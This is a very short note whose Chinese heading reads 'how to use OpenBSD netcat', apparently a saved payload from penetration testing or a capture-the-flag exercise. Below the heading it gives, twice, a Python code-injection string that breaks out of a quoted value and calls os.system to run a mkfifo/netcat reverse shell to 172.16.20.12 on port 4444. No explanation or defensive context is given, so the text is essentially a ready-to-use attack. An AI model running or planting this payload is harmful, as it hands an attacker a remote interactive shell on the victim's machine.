openbsd netcat的使用方法
etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 172.16.20.12 4444 > /tmp/f") and'
etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 172.16.20.12 4444 > /tmp/f") and'